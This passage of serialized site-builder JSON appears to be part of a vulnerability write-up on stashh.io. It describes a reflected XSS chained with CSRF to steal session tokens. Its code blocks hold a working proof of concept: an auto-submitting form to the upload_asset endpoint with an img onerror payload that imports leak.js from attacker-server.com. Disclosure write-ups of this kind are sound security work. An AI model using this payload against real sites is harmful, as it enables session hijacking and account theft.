/>\n",{"type":23,"tag":141,"props":31250,"children":31251},{"class":143,"line":262},[31252,31256,31260,31264,31268,31273,31277,31281,31286],{"type":23,"tag":141,"props":31253,"children":31254},{"style":30844},[31255],{"type":29,"value":31057},{"type":23,"tag":141,"props":31257,"children":31258},{"style":449},[31259],{"type":29,"value":7042},{"type":23,"tag":141,"props":31261,"children":31262},{"style":750},[31263],{"type":29,"value":31009},{"type":23,"tag":141,"props":31265,"children":31266},{"style":160},[31267],{"type":29,"value":1377},{"type":23,"tag":141,"props":31269,"children":31270},{"style":828},[31271],{"type":29,"value":31272},"\"submit\"",{"type":23,"tag":141,"props":31274,"children":31275},{"style":750},[31276],{"type":29,"value":30979},{"type":23,"tag":141,"props":31278,"children":31279},{"style":160},[31280],{"type":29,"value":1377},{"type":23,"tag":141,"props":31282,"children":31283},{"style":828},[31284],{"type":29,"value":31285},"\"Submit request\"",{"type":23,"tag":141,"props":31287,"children":31288},{"style":30844},[31289],{"type":29,"value":31248},{"type":23,"tag":141,"props":31291,"children":31292},{"class":143,"line":271},[31293,31298,31302],{"type":23,"tag":141,"props":31294,"children":31295},{"style":30844},[31296],{"type":29,"value":31297}," \u003C/",{"type":23,"tag":141,"props":31299,"children":31300},{"style":449},[31301],{"type":29,"value":30919},{"type":23,"tag":141,"props":31303,"children":31304},{"style":30844},[31305],{"type":29,"value":4666},{"type":23,"tag":141,"props":31307,"children":31308},{"class":143,"line":293},[31309,31314,31318],{"type":23,"tag":141,"props":31310,"children":31311},{"style":30844},[31312],{"type":29,"value":31313}," \u003C/",{"type":23,"tag":141,"props":31315,"children":31316},{"style":449},[31317],{"type":29,"value":30868},{"type":23,"tag":141,"props":31319,"children":31320},{"style":30844},[31321],{"type":29,"value":4666},{"type":23,"tag":141,"props":31323,"children":31324},{"class":143,"line":801},[31325],{"type":23,"tag":141,"props":31326,"children":31327},{"emptyLinePlaceholder":15},[31328],{"type":29,"value":719},{"type":23,"tag":141,"props":31330,"children":31331},{"class":143,"line":810},[31332,31336,31340],{"type":23,"tag":141,"props":31333,"children":31334},{"style":30844},[31335],{"type":29,"value":30863},{"type":23,"tag":141,"props":31337,"children":31338},{"style":449},[31339],{"type":29,"value":30884},{"type":23,"tag":141,"props":31341,"children":31342},{"style":30844},[31343],{"type":29,"value":4666},{"type":23,"tag":141,"props":31345,"children":31346},{"class":143,"line":824},[31347],{"type":23,"tag":141,"props":31348,"children":31349},{"emptyLinePlaceholder":15},[31350],{"type":29,"value":719},{"type":23,"tag":141,"props":31352,"children":31353},{"class":143,"line":839},[31354,31359],{"type":23,"tag":141,"props":31355,"children":31356},{"style":154},[31357],{"type":29,"value":31358}," (async ()=>",{"type":23,"tag":141,"props":31360,"children":31361},{"style":449},[31362],{"type":29,"value":766},{"type":23,"tag":141,"props":31364,"children":31365},{"class":143,"line":848},[31366,31371,31376,31381,31386,31390,31394,31399,31403,31408,31413,31418],{"type":23,"tag":141,"props":31367,"children":31368},{"style":750},[31369],{"type":29,"value":31370}," const",{"type":23,"tag":141,"props":31372,"children":31373},{"style":750},[31374],{"type":29,"value":31375}," blob",{"type":23,"tag":141,"props":31377,"children":31378},{"style":160},[31379],{"type":29,"value":31380}," = ",{"type":23,"tag":141,"props":31382,"children":31383},{"style":148},[31384],{"type":29,"value":31385},"await",{"type":23,"tag":141,"props":31387,"children":31388},{"style":160},[31389],{"type":29,"value":1220},{"type":23,"tag":141,"props":31391,"children":31392},{"style":148},[31393],{"type":29,"value":31385},{"type":23,"tag":141,"props":31395,"children":31396},{"style":184},[31397],{"type":29,"value":31398}," fetch",{"type":23,"tag":141,"props":31400,"children":31401},{"style":160},[31402],{"type":29,"value":192},{"type":23,"tag":141,"props":31404,"children":31405},{"style":828},[31406],{"type":29,"value":31407},"\"/sapo.png\"",{"type":23,"tag":141,"props":31409,"children":31410},{"style":160},[31411],{"type":29,"value":31412},")).",{"type":23,"tag":141,"props":31414,"children":31415},{"style":184},[31416],{"type":29,"value":31417},"blob",{"type":23,"tag":141,"props":31419,"children":31420},{"style":160},[31421],{"type":29,"value":6410},{"type":23,"tag":141,"props":31423,"children":31424},{"class":143,"line":2304},[31425],{"type":23,"tag":141,"props":31426,"children":31427},{"emptyLinePlaceholder":15},[31428],{"type":29,"value":719},{"type":23,"tag":141,"props":31430,"children":31431},{"class":143,"line":2313},[31432,31436,31441,31445,31449,31454,31459,31463,31467,31472,31477,31482,31487],{"type":23,"tag":141,"props":31433,"children":31434},{"style":750},[31435],{"type":29,"value":1725},{"type":23,"tag":141,"props":31437,"children":31438},{"style":750},[31439],{"type":29,"value":31440}," f",{"type":23,"tag":141,"props":31442,"children":31443},{"style":160},[31444],{"type":29,"value":31380},{"type":23,"tag":141,"props":31446,"children":31447},{"style":449},[31448],{"type":29,"value":13799},{"type":23,"tag":141,"props":31450,"children":31451},{"style":184},[31452],{"type":29,"value":31453}," File",{"type":23,"tag":141,"props":31455,"children":31456},{"style":160},[31457],{"type":29,"value":31458},"([",{"type":23,"tag":141,"props":31460,"children":31461},{"style":750},[31462],{"type":29,"value":31417},{"type":23,"tag":141,"props":31464,"children":31465},{"style":160},[31466],{"type":29,"value":21732},{"type":23,"tag":141,"props":31468,"children":31469},{"style":828},[31470],{"type":29,"value":31471},"'sapo.png'",{"type":23,"tag":141,"props":31473,"children":31474},{"style":160},[31475],{"type":29,"value":31476},", {",{"type":23,"tag":141,"props":31478,"children":31479},{"style":750},[31480],{"type":29,"value":31481},"type:",{"type":23,"tag":141,"props":31483,"children":31484},{"style":828},[31485],{"type":29,"value":31486}," 'image/png'",{"type":23,"tag":141,"props":31488,"children":31489},{"style":160},[31490],{"type":29,"value":31491},"})\n",{"type":23,"tag":141,"props":31493,"children":31494},{"class":143,"line":2335},[31495,31499,31504,31508,31512,31517],{"type":23,"tag":141,"props":31496,"children":31497},{"style":750},[31498],{"type":29,"value":31370},{"type":23,"tag":141,"props":31500,"children":31501},{"style":750},[31502],{"type":29,"value":31503}," dataTransfer",{"type":23,"tag":141,"props":31505,"children":31506},{"style":160},[31507],{"type":29,"value":31380},{"type":23,"tag":141,"props":31509,"children":31510},{"style":449},[31511],{"type":29,"value":13799},{"type":23,"tag":141,"props":31513,"children":31514},{"style":184},[31515],{"type":29,"value":31516}," DataTransfer",{"type":23,"tag":141,"props":31518,"children":31519},{"style":160},[31520],{"type":29,"value":1305},{"type":23,"tag":141,"props":31522,"children":31523},{"class":143,"line":2343},[31524,31529,31533,31538,31542,31546,31550,31555],{"type":23,"tag":141,"props":31525,"children":31526},{"style":750},[31527],{"type":29,"value":31528}," dataTransfer",{"type":23,"tag":141,"props":31530,"children":31531},{"style":160},[31532],{"type":29,"value":322},{"type":23,"tag":141,"props":31534,"children":31535},{"style":750},[31536],{"type":29,"value":31537},"items",{"type":23,"tag":141,"props":31539,"children":31540},{"style":160},[31541],{"type":29,"value":322},{"type":23,"tag":141,"props":31543,"children":31544},{"style":184},[31545],{"type":29,"value":8317},{"type":23,"tag":141,"props":31547,"children":31548},{"style":160},[31549],{"type":29,"value":192},{"type":23,"tag":141,"props":31551,"children":31552},{"style":750},[31553],{"type":29,"value":31554},"f",{"type":23,"tag":141,"props":31556,"children":31557},{"style":160},[31558],{"type":29,"value":2496},{"type":23,"tag":141,"props":31560,"children":31561},{"class":143,"line":2352},[31562],{"type":23,"tag":141,"props":31563,"children":31564},{"emptyLinePlaceholder":15},[31565],{"type":29,"value":719},{"type":23,"tag":141,"props":31567,"children":31568},{"class":143,"line":2421},[31569,31574,31578,31583,31587,31592,31596,31600],{"type":23,"tag":141,"props":31570,"children":31571},{"style":750},[31572],{"type":29,"value":31573}," file123",{"type":23,"tag":141,"props":31575,"children":31576},{"style":160},[31577],{"type":29,"value":322},{"type":23,"tag":141,"props":31579,"children":31580},{"style":750},[31581],{"type":29,"value":31582},"files",{"type":23,"tag":141,"props":31584,"children":31585},{"style":160},[31586],{"type":29,"value":31380},{"type":23,"tag":141,"props":31588,"children":31589},{"style":750},[31590],{"type":29,"value":31591},"dataTransfer",{"type":23,"tag":141,"props":31593,"children":31594},{"style":160},[31595],{"type":29,"value":322},{"type":23,"tag":141,"props":31597,"children":31598},{"style":750},[31599],{"type":29,"value":31582},{"type":23,"tag":141,"props":31601,"children":31602},{"style":160},[31603],{"type":29,"value":1684},{"type":23,"tag":141,"props":31605,"children":31606},{"class":143,"line":2429},[31607,31612],{"type":23,"tag":141,"props":31608,"children":31609},{"style":449},[31610],{"type":29,"value":31611}," }",{"type":23,"tag":141,"props":31613,"children":31614},{"style":154},[31615],{"type":29,"value":31616},")()\n",{"type":23,"tag":141,"props":31618,"children":31619},{"class":143,"line":2459},[31620],{"type":23,"tag":141,"props":31621,"children":31622},{"emptyLinePlaceholder":15},[31623],{"type":29,"value":719},{"type":23,"tag":141,"props":31625,"children":31626},{"class":143,"line":2467},[31627,31631,31635],{"type":23,"tag":141,"props":31628,"children":31629},{"style":30844},[31630],{"type":29,"value":31313},{"type":23,"tag":141,"props":31632,"children":31633},{"style":449},[31634],{"type":29,"value":30884},{"type":23,"tag":141,"props":31636,"children":31637},{"style":30844},[31638],{"type":29,"value":4666},{"type":23,"tag":141,"props":31640,"children":31641},{"class":143,"line":2499},[31642,31646,31650],{"type":23,"tag":141,"props":31643,"children":31644},{"style":30844},[31645],{"type":29,"value":30898},{"type":23,"tag":141,"props":31647,"children":31648},{"style":449},[31649],{"type":29,"value":30851},{"type":23,"tag":141,"props":31651,"children":31652},{"style":30844},[31653],{"type":29,"value":4666},{"type":23,"tag":32,"props":31655,"children":31656},{},[31657],{"type":29,"value":31658},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":32,"props":31660,"children":31661},{},[31662],{"type":29,"value":31663},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":32,"props":31665,"children":31666},{},[31667],{"type":29,"value":31668},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":32,"props":31670,"children":31671},{},[31672],{"type":29,"value":31673},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":131,"props":31675,"children":31677},{"className":29831,"code":31676,"language":29833,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[31678],{"type":23,"tag":38,"props":31679,"children":31680},{"__ignoreMap":7},[31681,31696,31711,31742,31817,31868,32056,32095,32110,32125,32132,32147,32154,32165,32216,32223,32278,32305,32340,32347,32382,32389,32410,32421,32428,32443],{"type":23,"tag":141,"props":31682,"children":31683},{"class":143,"line":144},[31684,31688,31692],{"type":23,"tag":141,"props":31685,"children":31686},{"style":30844},[31687],{"type":29,"value":4480},{"type":23,"tag":141,"props":31689,"children":31690},{"style":449},[31691],{"type":29,"value":30851},{"type":23,"tag":141,"props":31693,"children":31694},{"style":30844},[31695],{"type":29,"value":4666},{"type":23,"tag":141,"props":31697,"children":31698},{"class":143,"line":180},[31699,31703,31707],{"type":23,"tag":141,"props":31700,"children":31701},{"style":30844},[31702],{"type":29,"value":30863},{"type":23,"tag":141,"props":31704,"children":31705},{"style":449},[31706],{"type":29,"value":30868},{"type":23,"tag":141,"props":31708,"children":31709},{"style":30844},[31710],{"type":29,"value":4666},{"type":23,"tag":141,"props":31712,"children":31713},{"class":143,"line":205},[31714,31718,31722,31726,31730,31734,31738],{"type":23,"tag":141,"props":31715,"children":31716},{"style":30844},[31717],{"type":29,"value":30863},{"type":23,"tag":141,"props":31719,"children":31720},{"style":449},[31721],{"type":29,"value":30884},{"type":23,"tag":141,"props":31723,"children":31724},{"style":30844},[31725],{"type":29,"value":9142},{"type":23,"tag":141,"props":31727,"children":31728},{"style":154},[31729],{"type":29,"value":30893},{"type":23,"tag":141,"props":31731,"children":31732},{"style":30844},[31733],{"type":29,"value":30898},{"type":23,"tag":141,"props":31735,"children":31736},{"style":449},[31737],{"type":29,"value":30884},{"type":23,"tag":141,"props":31739,"children":31740},{"style":30844},[31741],{"type":29,"value":4666},{"type":23,"tag":141,"props":31743,"children":31744},{"class":143,"line":218},[31745,31749,31753,31757,31761,31765,31769,31773,31777,31781,31785,31789,31793,31797,31801,31805,31809,31813],{"type":23,"tag":141,"props":31746,"children":31747},{"style":30844},[31748],{"type":29,"value":30914},{"type":23,"tag":141,"props":31750,"children":31751},{"style":449},[31752],{"type":29,"value":30919},{"type":23,"tag":141,"props":31754,"children":31755},{"style":750},[31756],{"type":29,"value":30924},{"type":23,"tag":141,"props":31758,"children":31759},{"style":160},[31760],{"type":29,"value":1377},{"type":23,"tag":141,"props":31762,"children":31763},{"style":828},[31764],{"type":29,"value":30933},{"type":23,"tag":141,"props":31766,"children":31767},{"style":750},[31768],{"type":29,"value":30938},{"type":23,"tag":141,"props":31770,"children":31771},{"style":160},[31772],{"type":29,"value":1377},{"type":23,"tag":141,"props":31774,"children":31775},{"style":828},[31776],{"type":29,"value":30947},{"type":23,"tag":141,"props":31778,"children":31779},{"style":750},[31780],{"type":29,"value":15786},{"type":23,"tag":141,"props":31782,"children":31783},{"style":160},[31784],{"type":29,"value":1377},{"type":23,"tag":141,"props":31786,"children":31787},{"style":828},[31788],{"type":29,"value":30960},{"type":23,"tag":141,"props":31790,"children":31791},{"style":750},[31792],{"type":29,"value":30965},{"type":23,"tag":141,"props":31794,"children":31795},{"style":160},[31796],{"type":29,"value":1377},{"type":23,"tag":141,"props":31798,"children":31799},{"style":828},[31800],{"type":29,"value":30974},{"type":23,"tag":141,"props":31802,"children":31803},{"style":750},[31804],{"type":29,"value":30979},{"type":23,"tag":141,"props":31806,"children":31807},{"style":160},[31808],{"type":29,"value":1377},{"type":23,"tag":141,"props":31810,"children":31811},{"style":828},[31812],{"type":29,"value":30988},{"type":23,"tag":141,"props":31814,"children":31815},{"style":30844},[31816],{"type":29,"value":4666},{"type":23,"tag":141,"props":31818,"children":31819},{"class":143,"line":227},[31820,31824,31828,31832,31836,31840,31844,31848,31852,31856,31860,31864],{"type":23,"tag":141,"props":31821,"children":31822},{"style":30844},[31823],{"type":29,"value":31000},{"type":23,"tag":141,"props":31825,"children":31826},{"style":449},[31827],{"type":29,"value":7042},{"type":23,"tag":141,"props":31829,"children":31830},{"style":750},[31831],{"type":29,"value":31009},{"type":23,"tag":141,"props":31833,"children":31834},{"style":160},[31835],{"type":29,"value":1377},{"type":23,"tag":141,"props":31837,"children":31838},{"style":828},[31839],{"type":29,"value":31018},{"type":23,"tag":141,"props":31841,"children":31842},{"style":750},[31843],{"type":29,"value":31023},{"type":23,"tag":141,"props":31845,"children":31846},{"style":160},[31847],{"type":29,"value":1377},{"type":23,"tag":141,"props":31849,"children":31850},{"style":828},[31851],{"type":29,"value":31032},{"type":23,"tag":141,"props":31853,"children":31854},{"style":750},[31855],{"type":29,"value":30924},{"type":23,"tag":141,"props":31857,"children":31858},{"style":160},[31859],{"type":29,"value":1377},{"type":23,"tag":141,"props":31861,"children":31862},{"style":828},[31863],{"type":29,"value":31045},{"type":23,"tag":141,"props":31865,"children":31866},{"style":30844},[31867],{"type":29,"value":4666},{"type":23,"tag":141,"props":31869,"children":31870},{"class":143,"line":241},[31871,31875,31879,31883,31887,31891,31895,31899,31903,31907,31911,31915,31920,31924,31929,31933,31938,31942,31947,31952,31956,31960,31965,31970,31975,31980,31985,31990,31994,31999,32003,32007,32012,32016,32021,32026,32031,32035,32039,32043,32048,32052],{"type":23,"tag":141,"props":31872,"children":31873},{"style":30844},[31874],{"type":29,"value":31057},{"type":23,"tag":141,"props":31876,"children":31877},{"style":449},[31878],{"type":29,"value":7042},{"type":23,"tag":141,"props":31880,"children":31881},{"style":750},[31882],{"type":29,"value":31009},{"type":23,"tag":141,"props":31884,"children":31885},{"style":160},[31886],{"type":29,"value":1377},{"type":23,"tag":141,"props":31888,"children":31889},{"style":828},[31890],{"type":29,"value":31074},{"type":23,"tag":141,"props":31892,"children":31893},{"style":750},[31894],{"type":29,"value":31023},{"type":23,"tag":141,"props":31896,"children":31897},{"style":160},[31898],{"type":29,"value":1377},{"type":23,"tag":141,"props":31900,"children":31901},{"style":828},[31902],{"type":29,"value":31087},{"type":23,"tag":141,"props":31904,"children":31905},{"style":750},[31906],{"type":29,"value":30979},{"type":23,"tag":141,"props":31908,"children":31909},{"style":160},[31910],{"type":29,"value":1377},{"type":23,"tag":141,"props":31912,"children":31913},{"style":828},[31914],{"type":29,"value":18731},{"type":23,"tag":141,"props":31916,"children":31917},{"style":449},[31918],{"type":29,"value":31919},"{"",{"type":23,"tag":141,"props":31921,"children":31922},{"style":828},[31923],{"type":29,"value":31109},{"type":23,"tag":141,"props":31925,"children":31926},{"style":449},[31927],{"type":29,"value":31928},"":"<",{"type":23,"tag":141,"props":31930,"children":31931},{"style":828},[31932],{"type":29,"value":2591},{"type":23,"tag":141,"props":31934,"children":31935},{"style":449},[31936],{"type":29,"value":31937},"/",{"type":23,"tag":141,"props":31939,"children":31940},{"style":828},[31941],{"type":29,"value":31138},{"type":23,"tag":141,"props":31943,"children":31944},{"style":449},[31945],{"type":29,"value":31946},"=",{"type":23,"tag":141,"props":31948,"children":31949},{"style":828},[31950],{"type":29,"value":31951},"x onerror",{"type":23,"tag":141,"props":31953,"children":31954},{"style":449},[31955],{"type":29,"value":31946},{"type":23,"tag":141,"props":31957,"children":31958},{"style":828},[31959],{"type":29,"value":18155},{"type":23,"tag":141,"props":31961,"children":31962},{"style":449},[31963],{"type":29,"value":31964},"(`",{"type":23,"tag":141,"props":31966,"children":31967},{"style":828},[31968],{"type":29,"value":31969},"https",{"type":23,"tag":141,"props":31971,"children":31972},{"style":449},[31973],{"type":29,"value":31974},"://",{"type":23,"tag":141,"props":31976,"children":31977},{"style":828},[31978],{"type":29,"value":31979},"attacker-server",{"type":23,"tag":141,"props":31981,"children":31982},{"style":449},[31983],{"type":29,"value":31984},".",{"type":23,"tag":141,"props":31986,"children":31987},{"style":828},[31988],{"type":29,"value":31989},"com",{"type":23,"tag":141,"props":31991,"children":31992},{"style":449},[31993],{"type":29,"value":31937},{"type":23,"tag":141,"props":31995,"children":31996},{"style":828},[31997],{"type":29,"value":31998},"leak",{"type":23,"tag":141,"props":32000,"children":32001},{"style":449},[32002],{"type":29,"value":31984},{"type":23,"tag":141,"props":32004,"children":32005},{"style":828},[32006],{"type":29,"value":29833},{"type":23,"tag":141,"props":32008,"children":32009},{"style":449},[32010],{"type":29,"value":32011},"`)>","",{"type":23,"tag":141,"props":32013,"children":32014},{"style":828},[32015],{"type":29,"value":31196},{"type":23,"tag":141,"props":32017,"children":32018},{"style":449},[32019],{"type":29,"value":32020},"":"",{"type":23,"tag":141,"props":32022,"children":32023},{"style":828},[32024],{"type":29,"value":32025},"profile-assets",{"type":23,"tag":141,"props":32027,"children":32028},{"style":449},[32029],{"type":29,"value":32030},"","",{"type":23,"tag":141,"props":32032,"children":32033},{"style":828},[32034],{"type":29,"value":31225},{"type":23,"tag":141,"props":32036,"children":32037},{"style":449},[32038],{"type":29,"value":32020},{"type":23,"tag":141,"props":32040,"children":32041},{"style":828},[32042],{"type":29,"value":31234},{"type":23,"tag":141,"props":32044,"children":32045},{"style":449},[32046],{"type":29,"value":32047},""}",{"type":23,"tag":141,"props":32049,"children":32050},{"style":828},[32051],{"type":29,"value":18731},{"type":23,"tag":141,"props":32053,"children":32054},{"style":30844},[32055],{"type":29,"value":31248},{"type":23,"tag":141,"props":32057,"children":32058},{"class":143,"line":262},[32059,32063,32067,32071,32075,32079,32083,32087,32091],{"type":23,"tag":141,"props":32060,"children":32061},{"style":30844},[32062],{"type":29,"value":31057},{"type":23,"tag":141,"props":32064,"children":32065},{"style":449},[32066],{"type":29,"value":7042},{"type":23,"tag":141,"props":32068,"children":32069},{"style":750},[32070],{"type":29,"value":31009},{"type":23,"tag":141,"props":32072,"children":32073},{"style":160},[32074],{"type":29,"value":1377},{"type":23,"tag":141,"props":32076,"children":32077},{"style":828},[32078],{"type":29,"value":31272},{"type":23,"tag":141,"props":32080,"children":32081},{"style":750},[32082],{"type":29,"value":30979},{"type":23,"tag":141,"props":32084,"children":32085},{"style":160},[32086],{"type":29,"value":1377},{"type":23,"tag":141,"props":32088,"children":32089},{"style":828},[32090],{"type":29,"value":31285},{"type":23,"tag":141,"props":32092,"children":32093},{"style":30844},[32094],{"type":29,"value":31248},{"type":23,"tag":141,"props":32096,"children":32097},{"class":143,"line":271},[32098,32102,32106],{"type":23,"tag":141,"props":32099,"children":32100},{"style":30844},[32101],{"type":29,"value":31297},{"type":23,"tag":141,"props":32103,"children":32104},{"style":449},[32105],{"type":29,"value":30919},{"type":23,"tag":141,"props":32107,"children":32108},{"style":30844},[32109],{"type":29,"value":4666},{"type":23,"tag":141,"props":32111,"children":32112},{"class":143,"line":293},[32113,32117,32121],{"type":23,"tag":141,"props":32114,"children":32115},{"style":30844},[32116],{"type":29,"value":31313},{"type":23,"tag":141,"props":32118,"children":32119},{"style":449},[32120],{"type":29,"value":30868},{"type":23,"tag":141,"props":32122,"children":32123},{"style":30844},[32124],{"type":29,"value":4666},{"type":23,"tag":141,"props":32126,"children":32127},{"class":143,"line":801},[32128],{"type":23,"tag":141,"props":32129,"children":32130},{"emptyLinePlaceholder":15},[32131],{"type":29,"value":719},{"type":23,"tag":141,"props":32133,"children":32134},{"class":143,"line":810},[32135,32139,32143],{"type":23,"tag":141,"props":32136,"children":32137},{"style":30844},[32138],{"type":29,"value":30863},{"type":23,"tag":141,"props":32140,"children":32141},{"style":449},[32142],{"type":29,"value":30884},{"type":23,"tag":141,"props":32144,"children":32145},{"style":30844},[32146],{"type":29,"value":4666},{"type":23,"tag":141,"props":32148,"children":32149},{"class":143,"line":824},[32150],{"type":23,"tag":141,"props":32151,"children":32152},{"emptyLinePlaceholder":15},[32153],{"type":29,"value":719},{"type":23,"tag":141,"props":32155,"children":32156},{"class":143,"line":839},[32157,32161],{"type":23,"tag":141,"props":32158,"children":32159},{"style":154},[32160],{"type":29,"value":31358},{"type":23,"tag":141,"props":32162,"children":32163},{"style":449},[32164],{"type":29,"value":766},{"type":23,"tag":141,"props":32166,"children":32167},{"class":143,"line":848},[32168,32172,32176,32180,32184,32188,32192,32196,32200,32204,32208,32212],{"type":23,"tag":141,"props":32169,"children":32170},{"style":750},[32171],{"type":29,"value":31370},{"type":23,"tag":141,"props":32173,"children":32174},{"style":750},[32175],{"type":29,"value":31375},{"type":23,"tag":141,"props":32177,"children":32178},{"style":160},[32179],{"type":29,"value":31380},{"type":23,"tag":141,"props":32181,"children":32182},{"style":148},[32183],{"type":29,"value":31385},{"type":23,"tag":141,"props":32185,"children":32186},{"style":160},[32187],{"type":29,"value":1220},{"type":23,"tag":141,"props":32189,"children":32190},{"style":148},[32191],{"type":29,"value":31385},{"type":23,"tag":141,"props":32193,"children":32194},{"style":184},[32195],{"type":29,"value":31398},{"type":23,"tag":141,"props":32197,"children":32198},{"style":160},[32199],{"type":29,"value":192},{"type":23,"tag":141,"props":32201,"children":32202},{"style":828},[32203],{"type":29,"value":31407},{"type":23,"tag":141,"props":32205,"children":32206},{"style":160},[32207],{"type":29,"value":31412},{"type":23,"tag":141,"props":32209,"children":32210},{"style":184},[32211],{"type":29,"value":31417},{"type":23,"tag":141,"props":32213,"children":32214},{"style":160},[32215],{"type":29,"value":6410},{"type":23,"tag":141,"props":32217,"children":32218},{"class":143,"line":2304},[32219],{"type":23,"tag":141,"props":32220,"children":32221},{"emptyLinePlaceholder":15},[32222],{"type":29,"value":719},{"type":23,"tag":141,"props":32224,"children":32225},{"class":143,"line":2313},[32226,32230,32234,32238,32242,32246,32250,32254,32258,32262,32266,32270,32274],{"type":23,"tag":141,"props":32227,"children":32228},{"style":750},[32229],{"type":29,"value":1725},{"type":23,"tag":141,"props":32231,"children":32232},{"style":750},[32233],{"type":29,"value":31440},{"type":23,"tag":141,"props":32235,"children":32236},{"style":160},[32237],{"type":29,"value":31380},{"type":23,"tag":141,"props":32239,"children":32240},{"style":449},[32241],{"type":29,"value":13799},{"type":23,"tag":141,"props":32243,"children":32244},{"style":184},[32245],{"type":29,"value":31453},{"type":23,"tag":141,"props":32247,"children":32248},{"style":160},[32249],{"type":29,"value":31458},{"type":23,"tag":141,"props":32251,"children":32252},{"style":750},[32253],{"type":29,"value":31417},{"type":23,"tag":141,"props":32255,"children":32256},{"style":160},[32257],{"type":29,"value":21732},{"type":23,"tag":141,"props":32259,"children":32260},{"style":828},[32261],{"type":29,"value":31471},{"type":23,"tag":141,"props":32263,"children":32264},{"style":160},[32265],{"type":29,"value":31476},{"type":23,"tag":141,"props":32267,"children":32268},{"style":750},[32269],{"type":29,"value":31481},{"type":23,"tag":141,"props":32271,"children":32272},{"style":828},[32273],{"type":29,"value":31486},{"type":23,"tag":141,"props":32275,"children":32276},{"style":160},[32277],{"type":29,"value":31491},{"type":23,"tag":141,"props":32279,"children":32280},{"class":143,"line":2335},[32281,32285,32289,32293,32297,32301],{"type":23,"tag":141,"props":32282,"children":32283},{"style":750},[32284],{"type":29,"value":31370},{"type":23,"tag":141,"props":32286,"children":32287},{"style":750},[32288],{"type":29,"value":31503},{"type":23,"tag":141,"props":32290,"children":32291},{"style":160},[32292],{"type":29,"value":31380},{"type":23,"tag":141,"props":32294,"children":32295},{"style":449},[32296],{"type":29,"value":13799},{"type":23,"tag":141,"props":32298,"children":32299},{"style":184},[32300],{"type":29,"value":31516},{"type":23,"tag":141,"props":32302,"children":32303},{"style":160},[32304],{"type":29,"value":1305},{"type":23,"tag":141,"props":32306,"children":32307},{"class":143,"line":2343},[32308,32312,32316,32320,32324,32328,32332,32336],{"type":23,"tag":141,"props":32309,"children":32310},{"style":750},[32311],{"type":29,"value":31528},{"type":23,"tag":141,"props":32313,"children":32314},{"style":160},[32315],{"type":29,"value":322},{"type":23,"tag":141,"props":32317,"children":32318},{"style":750},[32319],{"type":29,"value":31537},{"type":23,"tag":141,"props":32321,"children":32322},{"style":160},[32323],{"type":29,"value":322},{"type":23,"tag":141,"props":32325,"children":32326},{"style":184},[32327],{"type":29,"value":8317},{"type":23,"tag":141,"props":32329,"children":32330},{"style":160},[32331],{"type":29,"value":192},{"type":23,"tag":141,"props":32333,"children":32334},{"style":750},[32335],{"type":29,"value":31554},{"type":23,"tag":141,"props":32337,"children":32338},{"style":160},[32339],{"type":29,"value":2496},{"type":23,"tag":141,"props":32341,"children":32342},{"class":143,"line":2352},[32343],{"type":23,"tag":141,"props":32344,"children":32345},{"emptyLinePlaceholder":15},[32346],{"type":29,"value":719},{"type":23,"tag":141,"props":32348,"children":32349},{"class":143,"line":2421},[32350,32354,32358,32362,32366,32370,32374,32378],{"type":23,"tag":141,"props":32351,"children":32352},{"style":750},[32353],{"type":29,"value":31573},{"type":23,"tag":141,"props":32355,"children":32356},{"style":160},[32357],{"type":29,"value":322},{"type":23,"tag":141,"props":32359,"children":32360},{"style":750},[32361],{"type":29,"value":31582},{"type":23,"tag":141,"props":32363,"children":32364},{"style":160},[32365],{"type":29,"value":31380},{"type":23,"tag":141,"props":32367,"children":32368},{"style":750},[32369],{"type":29,"value":31591},{"type":23,"tag":141,"props":32371,"children":32372},{"style":160},[32373],{"type":29,"value":322},{"type":23,"tag":141,"props":32375,"children":32376},{"style":750},[32377],{"type":29,"value":31582},{"type":23,"tag":141,"props":32379,"children":32380},{"style":160},[32381],{"type":29,"value":1684},{"type":23,"tag":141,"props":32383,"children":32384},{"class":143,"line":2429},[32385],{"type":23,"tag":141,"props":32386,"children":32387},{"emptyLinePlaceholder":15},[32388],{"type":29,"value":719},{"type":23,"tag":141,"props":32390,"children":32391},{"class":143,"line":2459},[32392,32397,32401,32406],{"type":23,"tag":141,"props":32393,"children":32394},{"style":750},[32395],{"type":29,"value":32396}," form123",{"type":23,"tag":141,"props":32398,"children":32399},{"style":160},[32400],{"type":29,"value":322},{"type":23,"tag":141,"props":32402,"children":32403},{"style":184},[32404],{"type":29,"value":32405},"submit",{"type":23,"tag":141,"props":32407,"children":32408},{"style":160},[32409],{"type":29,"value":6410},{"type":23,"tag":141,"props":32411,"children":32412},{"class":143,"line":2467},[32413,32417],{"type":23,"tag":141,"props":32414,"children":32415},{"style":449},[32416],{"type":29,"value":31611},{"type":23,"tag":141,"props":32418,"children":32419},{"style":154},[32420],{"type":29,"value":31616},{"type":23,"tag":141,"props":32422,"children":32423},{"class":143,"line":2499},[32424],{"type":23,"tag":141,"props":32425,"children":32426},{"emptyLinePlaceholder":15},[32427],{"type":29,"value":719},{"type":23,"tag":141,"props":32429,"children":32430},{"class":143,"line":2507},[32431,32435,32439],{"type":23,"tag":141,"props":32432,"children":32433},{"style":30844},[32434],{"type":29,"value":31313},{"type":23,"tag":141,"props":32436,"children":32437},{"style":449},[32438],{"type":29,"value":30884},{"type":23,"tag":141,"props":32440,"children":32441},{"style":30844},[32442],{"type"